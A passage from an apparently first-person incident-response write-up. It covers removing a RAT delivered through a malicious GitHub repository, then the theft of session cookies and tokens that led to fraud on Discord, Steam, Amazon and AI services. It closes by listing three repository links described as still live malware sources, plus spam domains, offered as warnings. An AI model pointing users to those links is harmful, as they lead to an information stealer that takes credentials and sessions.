That was probably the most reassuring technical finding during the containment phase. There were multiple ways to relaunch the malware, but only one persistent payload. From the attacker's perspective, this created a **single point of failure**: once the scheduled tasks were removed and the `RuntimeBroker.exe` copy was deleted, all of those persistence paths became useless. I have to admit that this realization produced a small amount of cold sweat in retrospect. Had the malware instead installed several independent payloads—for example, a scheduled-task executable, a service binary, a WMI-launched script, and an injected or side-loaded DLL—manual containment would have been considerably more difficult. Missing a single persistence branch could have allowed the attacker to regain execution and rebuild the others. This incident was much more forgiving.

##### **Verification After Cleanup**

I did not stop after removing the four known scheduled tasks and the persistent executable. I continued checking the remaining common persistence surfaces, including services, Run/RunOnce keys, startup folders, Winlogon configuration, WMI permanent event subscriptions, and other suspicious scheduled-task actions. Nothing else produced an independent executable or an additional autostart path associated with the malware. That gave me reasonable confidence that the host-level persistence and the known payload had been removed. At the time, this felt like the end of the incident. It was not.

### **The Aftermath**

After removing the known persistence mechanisms and verifying that the persistent payload was no longer present, I considered the host-level incident contained. I was exhausted and, at that point, reasonably confident that the immediate threat had been removed.

That confidence did not last very long. When I later checked Discord, I found that my primary account had been signed out. Attempts to authenticate failed. Reviewing the associated email account immediately explained why: there were several unread messages from Discord, including a password-reset request, confirmation that the password had been successfully changed, and a separate notification regarding activity that violated Discord's policies. The implication was straightforward. The Discord account had been taken over, and because the password reset had been completed through the associated mailbox, the email account itself had very likely been accessed as well. Google had also generated a suspicious-activity warning.

Fortunately, I still retained control of the mailbox. I changed its credentials and security settings, recovered the Discord account through support, and subsequently hardened both accounts. Unfortunately, that was not the end of the aftermath.

##### **Account Abuse Across Multiple Services**

A series of additional incidents followed across services that had been used on the compromised workstation:

- **Instagram** was hijacked but not fully seized. The attacker retained my existing account state and used it to send spam messages to contacts. One of the promoted domains was [https://marawex.com](https://marawex.com).
- **Steam** was similarly abused without a full account takeover. Spam messages were sent through the account, and a previously unknown Steam account named **661SAVAGEE** was added to Family Sharing. That account later cheated in *ARC Raiders*, which resulted in an unfortunate collateral consequence: my account was also affected by the resulting enforcement action. Subsequent investigation suggested that this user was more likely a downstream consumer of stolen access than the original malware operator.
- **A second Discord account** was also hijacked without having its password changed. I noticed this quickly because my two Discord accounts were connected to each other. Interestingly, the operator attempted to remove the spam conversation from the compromised account's side after sending it. The promoted domain in this case was [https://tetsobet.com](https://tetsobet.com).
- **Amazon** was accessed and the actor attempted, unsuccessfully, to take full control of the account. They were nevertheless able to place fraudulent orders. A smaller gift-card purchase succeeded, while a subsequent higher-value attempt was blocked by Amazon's fraud controls. More interestingly, the actor also ordered products similar to items I had legitimately purchased before, which appeared to be an attempt to make the transaction sequence resemble my normal purchasing behavior.
- **Cursor** accumulated approximately USD 70 in unauthorized usage.
- **Codex** consumed a portion of my weekly usage allowance.
- **Claude** may also have been exposed. Anthropic detected suspicious activity and invalidated the session before I observed any obvious material impact.

The behavior differed considerably between services. Some operators simply used an existing session to send spam. Others attempted financial fraud, consumed paid AI resources, or abused gaming access. Some avoided changing passwords entirely, while others attempted to seize the account outright. This variation became an important clue. Rather than looking like one operator manually moving through every account with a single objective, the pattern was more consistent with stolen credentials, session material, or other authentication artifacts being distributed or otherwise consumed by different downstream actors within a broader cybercrime ecosystem. In practical terms, the initial malware execution may have been only the collection stage. The subsequent fraud, spam, account abuse, and other activity represented different ways of monetizing the resulting access.

##### **Was the Machine Still Compromised?**

The continuing account incidents raised an uncomfortable question: had I actually removed the malware completely? I repeatedly revisited the host, checking whether I had missed another executable, persistence mechanism, injected component, or secondary payload. The fact that new account abuse continued after the known RAT had been removed naturally made incomplete remediation an obvious hypothesis.

However, as more evidence accumulated, a different explanation became considerably stronger. The affected accounts shared several characteristics. Most importantly, they were accounts for which authenticated state already existed on the compromised workstation. In many cases, visiting the corresponding website from my browser did not require a fresh login. The browser already possessed a valid session, trusted-device state, token, or other authentication material. By contrast, accounts whose sessions had already expired, or which required fresh authentication protected by stronger MFA controls, were not affected in the same way.

I also found suspicious authenticated sessions associated with other geographic regions on services such as ChatGPT and Steam, despite both accounts being protected by MFA. That observation was particularly important: MFA protects the process of creating a new authenticated session, but it does not necessarily protect an already authenticated session if the corresponding token or cookie is stolen and remains valid. Steam provided an especially useful example. The suspicious web session belonged to an authorization context that had originally been established legitimately before the malware incident. The attacker therefore did not necessarily need to know my password or defeat Steam Guard; reusing previously authorized browser state was sufficient.

There were also application-specific authentication artifacts to consider. Some tools store reusable credentials or bearer tokens at relatively predictable filesystem locations. Codex authentication material, for example, is stored locally in a way that an information stealer can locate without needing to understand much about the individual victim.

Taken together, the evidence pointed toward a much more likely explanation:

> The continued account abuse was primarily the aftermath of authentication material stolen during the original compromise, rather than evidence that the RAT itself was still persistently controlling the machine.

The stolen material could have included browser cookies, authenticated session state, application tokens, locally stored credentials, and other reusable authentication artifacts. This distinction turned out to be one of the most important lessons from the incident.

##### **Removing the Malware Was Not the Same as Remediating the Incident**

My initial response had been heavily host-centric. I had concentrated on questions such as:

- Is the payload still running?
- Where did it establish persistence?
- What launches it after reboot?
- Are there additional copies?
- Is the C2 connection still active?

Those were valid questions, and the host-level remediation itself was largely successful. What I had not asked early enough was the second set:

- What had already been stolen before the malware was removed?
- Which authentication artifacts were still valid?
- Which sessions needed to be revoked?
- Which services should now be treated as independently exposed?

Looking back, I do not think this was simply a forgotten checklist item. My response sequence had been internally consistent from the beginning: interrupt execution, understand the loader, locate the payload, preserve the sample, identify persistence, remove the attacker's foothold, and verify that it did not return. Almost every action was optimized around one objective: **Remove the attacker's ability to continue operating on the host.** That objective makes intuitive sense from an offensive-security perspective.

During a red-team engagement, a credential, cookie, or token is usually a path rather than a destination. I obtain one because it allows me to authenticate somewhere else, escalate privileges, move laterally, or continue toward an objective. Its value is normally understood in relation to the access chain it enables. Once that chain is broken, the engagement effectively stops moving. But an information-stealer ecosystem has a different economic model.

To the malware operator, credentials and authenticated sessions do not have to be intermediate steps toward continued control of the original machine. They can themselves be inventory. They can be collected, packaged, distributed, sold, or consumed by someone who has never interacted with the compromised endpoint and may do so long after the original malware operator has disappeared. The adversary therefore did not necessarily need to come back. That was the mismatch in my original threat model. I was asking an adversary-centric containment question: **Can the attacker still act on this machine?** What recovery also required was a state-centric question: **What remains unsafe even if the attacker never touches this machine again?**

From the first perspective, my remediation looked successful:

```
RAT → removed

Scheduled tasks → removed

Persistent executable → removed

Known C2 → no longer active
```

From the second perspective, the incident was still very much alive:

```
Browser sessions → potentially reusable

Cookies → potentially reusable

Application tokens → potentially reusable

Locally stored credentials → potentially exposed

Trusted-device state → potentially reusable
```

Removing `RuntimeBroker.exe` could invalidate none of those things. There was also an important asymmetry in the feedback produced by the two kinds of work. Removing persistence produces immediate evidence. Delete a malicious scheduled task, reboot the host, and observe that the executable does not return. Kill a C2 connection and watch it disappear. Each action provides a visible indication that one part of the problem has been solved.

Credential remediation is different. Revoking a stolen session usually produces no satisfying confirmation that the action was necessary. Rotating a token that may or may not have been collected produces no visible success. Logging every service out everywhere can look almost identical whether the attacker possessed those sessions or not. And if that work is not performed, the failure may also remain invisible for some time. The consequence can appear days or weeks later, on another platform, in a form that initially looks unrelated to the original compromise. That is exactly what happened here.

The later Discord, Steam, Amazon, Instagram, AI-service, and other account activity initially made me question whether I had failed to remove the RAT. The more evidence I accumulated, however, the less that explanation fit. What remained was not necessarily an attacker maintaining hidden control of the workstation. It was authentication material collected earlier continuing to retain value elsewhere. The overall incident therefore made more sense as:

```
Malicious GitHub repository
        ↓
PowerShell delivery
        ↓
RAT execution
        ↓
Authentication material collected
        ↓
Host persistence removed
        ↓
Attacker no longer needs the host
        ↓
Stolen authentication material remains valid
        ↓
Access distributed or consumed downstream
        ↓
Different services abused over time
```

That distinction changed how I think about containment.

My red-team background was not the wrong tool. In several parts of this incident, it was an extremely useful one. Thinking like the attacker helped me identify likely persistence, evaluate implementation quality, interpret the malware's choices, and contain the active foothold quickly. The mistake was allowing that same mental model to define when the incident was over. Offensive thinking is very good at asking what an adversary can still do. Recovery must also ask what the adversary no longer needs to do because the damage has already left the endpoint. That was the lesson I had to learn from the wrong side of the engagement.

Once I shifted from treating each later account event as an independent compromise to treating them as downstream consequences of the original collection event, the seemingly disconnected activity became much more coherent. Different behavior across different services also began to look less like one operator repeatedly returning to my accounts and more like different consumers finding different ways to monetize the same stolen access.

By that point, the incident had produced something useful: not only a technical picture of how the malware was delivered, persisted, and communicated, but also a much clearer view of the ecosystem around it. And that became the starting point for Part Two: moving from incident response into threat intelligence.

Alive Repositories At the Time of Writing:

[https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download](https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download)

[https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro](https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro)

[https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate](https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate)